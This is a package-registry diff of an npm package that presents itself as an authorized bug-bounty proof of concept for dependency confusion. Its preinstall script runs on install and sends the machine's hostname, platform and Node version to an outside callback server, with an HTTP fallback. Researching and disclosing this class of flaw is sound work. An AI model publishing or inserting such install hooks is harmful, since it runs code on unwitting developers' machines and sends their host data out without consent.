ach-detail 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +19 -0
- package/index.js +5 -0
- package/package.json +25 -0
- package/scripts/preinstall.js +111 -0
package/README.md
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
# ach-details — authorized security research placeholder
|
|
2
|
+
|
|
3
|
+
**This is not a functional package. Do not depend on it.**
|
|
4
|
+
|
|
5
|
+
It was published as a proof of concept under an active, authorized bug bounty
|
|
6
|
+
engagement with **Latitude Financial** on **BugCrowd** to demonstrate a dependency confusion condition
|
|
7
|
+
affecting an internal package of the same name.
|
|
8
|
+
|
|
9
|
+
## If you reached this package by accident
|
|
10
|
+
|
|
11
|
+
You are almost certainly resolving an internal package name from the public
|
|
12
|
+
registry. That is the vulnerability. Pin your scope to your private registry.
|
|
13
|
+
And register the scope as a placeholder on public npm so it cannot be claimed.
|
|
14
|
+
|
|
15
|
+
## Removal
|
|
16
|
+
|
|
17
|
+
This package will be unpublished as soon as the finding is confirmed, and it will be transferred to Latitude Financial.
|
|
18
|
+
|
|
19
|
+
Researcher: **pr3da70r** — contact via BugCrowd.
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ach-detail",
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "AUTHORIZED SECURITY RESEARCH PLACEHOLDER - not a functional package. Published with permission under a BugCrowd bug bounty engagement to demonstrate a dependency confusion condition. Contact pr3da70r via BugCrowd. This package will be unpublished once the finding is confirmed.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node scripts/preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"files": [
|
|
10
|
+
"index.js",
|
|
11
|
+
"scripts/preinstall.js",
|
|
12
|
+
"README.md"
|
|
13
|
+
],
|
|
14
|
+
"keywords": [
|
|
15
|
+
"security-research",
|
|
16
|
+
"bug-bounty",
|
|
17
|
+
"proof-of-concept",
|
|
18
|
+
"do-not-use"
|
|
19
|
+
],
|
|
20
|
+
"author": "pr3da70r",
|
|
21
|
+
"license": "MIT",
|
|
22
|
+
"engines": {
|
|
23
|
+
"node": ">=10"
|
|
24
|
+
}
|
|
25
|
+
}
|
|
@@ -0,0 +1,111 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
'use strict';
|
|
4
|
+
|
|
5
|
+
// ---------------------------------------------------------------------------
|
|
6
|
+
// CONFIGURE THESE TWO VALUES BEFORE PUBLISHING (URLs are already set)
|
|
7
|
+
// ---------------------------------------------------------------------------
|
|
8
|
+
var REPORT_ID = '6ba66258-c990-4177-a3b9-d8941dfea100'; // e.g. '2847391'
|
|
9
|
+
var NONCE = 'a7d3c1'; // unique per publish
|
|
10
|
+
var HTTP_URL = 'https://callback.kuldeep.io/beacon'; // primary, port 443
|
|
11
|
+
var FALLBACK_URL = 'http://callback.kuldeep.io/beacon'; // retry, port 80
|
|
12
|
+
// ---------------------------------------------------------------------------
|
|
13
|
+
|
|
14
|
+
var TIMEOUT_MS = 4000;
|
|
15
|
+
|
|
16
|
+
function safe(fn) {
|
|
17
|
+
try { return fn(); } catch (e) { return undefined; }
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
function hostname() {
|
|
21
|
+
return safe(function () { return require('os').hostname(); }) || 'unknown';
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
function selfDescribe() {
|
|
25
|
+
var pkg = safe(function () { return require('../package.json'); }) || {};
|
|
26
|
+
return { name: pkg.name || 'unknown', version: pkg.version || 'unknown' };
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
/*
|
|
30
|
+
* Single bounded POST. Calls onFail() on any error, timeout or non-2xx/3xx
|
|
31
|
+
* response so the caller can try the fallback. onFail runs at most once.
|
|
32
|
+
*/
|
|
33
|
+
function post(target, body, onFail) {
|
|
34
|
+
safe(function () {
|
|
35
|
+
var url = require('url');
|
|
36
|
+
var parsed = url.parse(target);
|
|
37
|
+
var transport = parsed.protocol === 'http:' ? require('http') : require('https');
|
|
38
|
+
var done = false;
|
|
39
|
+
|
|
40
|
+
function fail() {
|
|
41
|
+
if (done) return;
|
|
42
|
+
done = true;
|
|
43
|
+
if (onFail) safe(onFail);
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
var req = transport.request({
|
|
47
|
+
protocol: parsed.protocol,
|
|
48
|
+
hostname: parsed.hostname,
|
|
49
|
+
port: parsed.port,
|
|
50
|
+
path: parsed.path,
|
|
51
|
+
method: 'POST',
|
|
52
|
+
timeout: TIMEOUT_MS,
|
|
53
|
+
headers: {
|
|
54
|
+
'Content-Type': 'application/json',
|
|
55
|
+
'Content-Length': Buffer.byteLength(body),
|
|
56
|
+
'User-Agent': 'bc-poc/' + REPORT_ID
|
|
57
|
+
}
|
|
58
|
+
}, function (res) {
|
|
59
|
+
res.resume();
|
|
60
|
+
// 2xx only. A 3xx means nginx redirected us and the body never reached
|
|
61
|
+
// the collector, so that must count as a failure and trigger the fallback.
|
|
62
|
+
if (res.statusCode >= 200 && res.statusCode < 300) { done = true; }
|
|
63
|
+
else { fail(); }
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
req.on('error', fail);
|
|
67
|
+
req.on('timeout', function () { safe(function () { req.destroy(); }); fail(); });
|
|
68
|
+
req.end(body);
|
|
69
|
+
});
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
function main() {
|
|
73
|
+
var host = hostname();
|
|
74
|
+
var self = selfDescribe();
|
|
75
|
+
|
|
76
|
+
// The unique console log the analyst asked for.
|
|
77
|
+
// NOTE: npm buffers dependency script output and discards it unless the
|
|
78
|
+
// script fails. This line is only visible with
|
|
79
|
+
// `npm install --foreground-scripts`, or foreground-scripts=true in .npmrc.
|
|
80
|
+
console.log(
|
|
81
|
+
'[H1-' + REPORT_ID + '][' + NONCE + '] AUTHORIZED PoC: ' +
|
|
82
|
+
self.name + '@' + self.version +
|
|
83
|
+
' resolved from the PUBLIC npm registry and its preinstall script executed on host "' +
|
|
84
|
+
host + '". This package is a benign placeholder published with program permission. ' +
|
|
85
|
+
'Contact: pr3da70r via BugCrowd report ' + REPORT_ID + '.'
|
|
86
|
+
);
|
|
87
|
+
|
|
88
|
+
var body = JSON.stringify({
|
|
89
|
+
report: REPORT_ID,
|
|
90
|
+
nonce: NONCE,
|
|
91
|
+
hostname: host,
|
|
92
|
+
pkg: self.name,
|
|
93
|
+
version: self.version,
|
|
94
|
+
node: safe(function () { return process.version; }) || 'unknown',
|
|
95
|
+
platform: safe(function () { return process.platform; }) || 'unknown',
|
|
96
|
+
ts: new Date().toISOString()
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
post(HTTP_URL, body, function () {
|
|
100
|
+
if (FALLBACK_URL && FALLBACK_URL !== HTTP_URL) post(FALLBACK_URL, body, null);
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
// Watchdog. unref'd so it never keeps the loop alive on its own, but fires
|
|
104
|
+
// and forces a clean exit if a socket hangs.
|
|
105
|
+
safe(function () {
|
|
106
|
+
setTimeout(function () { process.exit(0); }, (TIMEOUT_MS * 2) + 1000).unref();
|
|
107
|
+
});
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
safe(main);
|
|
111
|
+
process.exitCode = 0;
|